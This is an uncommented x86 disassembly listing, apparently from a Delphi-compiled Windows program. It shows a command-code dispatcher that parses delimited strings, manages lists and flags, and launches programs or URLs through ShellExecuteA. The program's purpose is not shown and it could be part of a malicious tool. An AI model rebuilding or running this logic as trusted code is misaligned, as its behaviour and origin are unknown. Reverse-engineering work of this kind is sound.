cmp dword [ebp - 0xfc], 0
jl case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [ebp - 0xfc]
je case.0x4e0a85.10
lea eax, [ebp - 0xaf0]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xaf0]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x10]
mov ecx, dword [ebp - 0xb8]
call fcn.0046ebbc
jmp case.0x4e0a85.10
cmp dword [0x53f474], 0
je 0x4e6d95
mov dword [ebp - 0x50], 1
jmp 0x4e6d9a
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c2c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xaf4]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xaf4]
push eax
lea eax, [ebp - 0xaf8]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaf8]
mov edx, 0x4e7d94
pop ecx
call fcn.0046dba4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xafc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xafc]
mov edx, 0x4e7da4
call fcn.0046d954
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xb00]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb00]
mov edx, 0x4e7db8
call fcn.0046d954
lea eax, [ebp - 0xb04]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xb04]
push eax
lea eax, [ebp - 0xb08]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb08]
mov edx, 0x4e7dcc
pop ecx
call fcn.0046dba4
jmp case.0x4e0a85.10
lea edx, [ebp - 0xb0c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xb0c]
mov eax, 0x549890
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4 + 0x10]
mov dword [0x53fad0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cbb0
cmp dword [0x53fad0], 0
jle case.0x4e0a85.10
mov edx, dword [0x549890]
mov eax, 0x4e7de0
call fcn.00404bc8
test eax, eax
jle 0x4e6f57
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c980
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x549890]
call fcn.0047ca7c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c9fc
jmp 0x4e6f8b
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0047c980
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047ca7c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x549890]
call fcn.0047c9fc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53fad0]
call fcn.0047cafc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cba8
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x53f478], al
jmp case.0x4e0a85.10
inc byte [0x53f478]
mov eax, dword [0x53f318]
call fcn.00473068
movsx edx, byte [0x53f478]
cmp eax, edx
jg case.0x4e0a85.10
mov byte [0x53f478], 0xff
jmp case.0x4e0a85.10
mov eax, dword [0x540cc4]
mov eax, dword [eax]
xor edx, edx
call fcn.004b90f8
jmp case.0x4e0a85.10
mov eax, dword [0x5498a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4e0a85.10
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e7021
call fcn.004d3d1c
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e7030
call fcn.004d503c
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e703f
call fcn.004d5798
movsx eax, word [0x54989c]
mov dword [0x5498a4], eax
mov ax, word [0x54989c]
cmp ax, word [0x54989e]
jge 0x4e7075
movsx eax, word [0x54989e]
movsx edx, word [0x54989c]
sub eax, edx
call fcn.004030b8
add dword [0x5498a4], eax
mov dword [0x5498ac], 0xffffffff
mov byte [0x53fad8], 1
jmp case.0x4e0a85.112
mov byte [0x53fad8], 0
jmp case.0x4e0a85.112
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
mov word [0x54989c], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov word [0x54989e], ax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 1
mov byte [0x5498a0], al
lea edx, [ebp - 0xb10]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xb10]
mov eax, dword [0x5498a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x5498a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4e0a85.10
mov byte [0x53fad8], 0
jmp case.0x4e0a85.10
cmp byte [0x53fad8], 0
je 0x4e710b
mov dword [ebp - 0x50], 1
jmp 0x4e7110
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c2c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jle case.0x4e0a85.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed8bc
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edb08
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee140
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db564
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0xe8]
call fcn.0040460c
lea eax, [ebp - 0xb14]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb14]
mov eax, dword [ebp - 0xd4]
call fcn.0046aa5c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4e72c6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [0x549950], eax
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
mov eax, dword [0x549950]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4e7275
mov edx, 0x4e7dec
mov eax, dword [0x549950]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xb18]
mov eax, dword [0x549950]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb18]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x20
mov eax, dword [ebp - 0x28]
call fcn.004dd994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a85.10
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
mov eax, dword [0x549950]
call fcn.004037ac
ret
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c2c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e7573
cmp dword [ebp - 0x50], 1
jle 0x4e733b
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
jmp 0x4e7346
lea eax, [ebp - 0xf0]
call fcn.004045b8
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c2c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db564
lea eax, [ebp - 0xe8]
call fcn.0046a994
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c2c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xb1c]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xb20]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb20]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e7463
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb24]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb24]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov ebx, eax
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e742f
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e74ba
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb2c]
mov edx, dword [ebp - 0x50]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb2c]
lea eax, [ebp - 0xb28]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb28]
call fcn.00409988
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e747d
cmp dword [ebp - 0xf0], 0
je 0x4e7514
lea ecx, [ebp - 0xb34]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb34]
lea eax, [ebp - 0xb30]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb30]
push eax
lea eax, [ebp - 0xb38]
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov edx, dword [ebp - 0xb38]
pop eax
call fcn.004099a0
mov al, byte [0x4e7ba0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea edx, [ebp - 0xb40]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb40]
lea edx, [ebp - 0xb3c]
call fcn.0040906c
mov eax, dword [ebp - 0xb3c]
mov ecx, 0x4e7c2c
mov edx, 0x4e7e00
call fcn.0040d9ec
push 0
push 0
mov eax, dword [ebp - 0xe4]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004dd994
mov eax, esi
call fcn.004037ac
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0a85.10
cmp dword [0x5498b0], 0
je case.0x4e0a85.10
lea eax, [ebp - 0xe4]
mov edx, 0x4e7e0c
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e19c
lea eax, [ebp - 0xe8]
mov edx, 0x4e7e34
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb44]
push eax
mov ecx, dword [0x5498b0]
mov edx, 0x4e7e7c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb44]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb48]
push eax
mov ecx, dword [0x5498b4]
mov edx, 0x4e7e8c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb48]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb4c]
push eax
mov ecx, dword [0x5498b8]
mov edx, 0x4e7e9c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb4c]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb50]
push eax
mov ecx, 0x4e7eac
mov edx, 0x4e7ebc
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb50]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e7ba8
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e7b90
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x53fb58], 1
jmp case.0x4e0a85.10
cmp dword [0x5498b0], 0
je case.0x4e0a85.10
mov edx, 0x4e7e0c
lea eax, [ebp - 0xe4]
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e19c
lea eax, [ebp - 0xe8]
mov edx, 0x4e7e34
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb54]
push eax
mov ecx, dword [0x5498b0]
mov edx, 0x4e7e7c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb54]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb58]
push eax
mov ecx, dword [0x5498b4]
mov edx, 0x4e7e8c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb58]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb5c]
push eax
mov ecx, dword [0x5498b8]
mov edx, 0x4e7e9c
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb5c]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7ba8]
push eax
lea eax, [ebp - 0xb60]
push eax
mov ecx, dword [0x5498bc]
mov edx, 0x4e7ebc
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb60]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e7ba8
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e7b90
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x53fb58], 0
jmp case.0x4e0a85.10
mov eax, dword [0x53fa88]
mov edx, dword [0x53fa8c]
cmp edx, dword [0x53f33c]
jne 0x4e7822
cmp eax, dword [0x53f338]
jbe 0x4e7863
jmp 0x4e7824
jle 0x4e7863
mov eax, dword [0x549834]
push eax
push 0
push 0
push 0
push 0x3e8
mov eax, dword [0x53fa88]
mov edx, dword [0x53fa8c]
sub eax, dword [0x53f338]
sbb edx, dword [0x53f33c]
call fcn.00405968
mov ecx, eax
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov eax, dword [0x549834]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0xe4]
call fcn.004b5400
xor eax, eax
mov dword [0x53f320], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e7b06
lea eax, [ebp - 0xb60]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xb08]
call fcn.00404cf0
lea eax, [ebp - 0xb04]
call fcn.004045b8
lea eax, [ebp - 0xb00]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xaf4]
call fcn.004045b8
lea eax, [ebp - 0xaf0]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xae4]
call fcn.004045b8
lea eax, [ebp - 0xae0]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xad4]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xacc]
mov edx, 4
call fcn.00404d08
lea eax, [ebp - 0xabc]
call fcn.004045b8
lea eax, [ebp - 0xab8]
mov edx, 6
call fcn.00404d08
lea eax, [ebp - 0xaa0]
call fcn.004045b8
lea eax, [ebp - 0xa9c]
mov edx, 5
call fcn.00404d08
lea eax, [ebp - 0xa88]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xa30]
call fcn.00404cf0
lea eax, [ebp - 0xa2c]
mov edx, 6
call fcn.004045dc
lea eax, [ebp - 0xa14]
call fcn.00404cf0
lea eax, [ebp - 0xa10]
mov edx, 0x10
call fcn.004045dc
lea eax, [ebp - 0x9d0]
mov edx, 0x27
call fcn.004045dc
lea eax, [ebp - 0x934]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0x92c]
mov edx, 0xe
call fcn.004045dc
lea eax, [ebp - 0x8f4]
call fcn.00404cf0
lea eax, [ebp - 0x8f0]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8e4]
call fcn.00404cf0
lea eax, [ebp - 0x8e0]
call fcn.004045b8
lea eax, [ebp - 0x8dc]
call fcn.00404cf0
lea eax, [ebp - 0x8d8]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8cc]
call fcn.00404cf0
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xf4]
mov edx, 5
call fcn.004045dc
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xc0]
call fcn.004045b8
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xa0]
call fcn.004045b8
lea eax, [ebp - 0x90]
call fcn.004045b8
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0x74]
call fcn.004045b8
lea eax, [ebp - 0x6c]
mov edx, 4
call fcn.004045dc
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x19]
mov edx, dword [0x4707e0]
call fcn.00405348
ret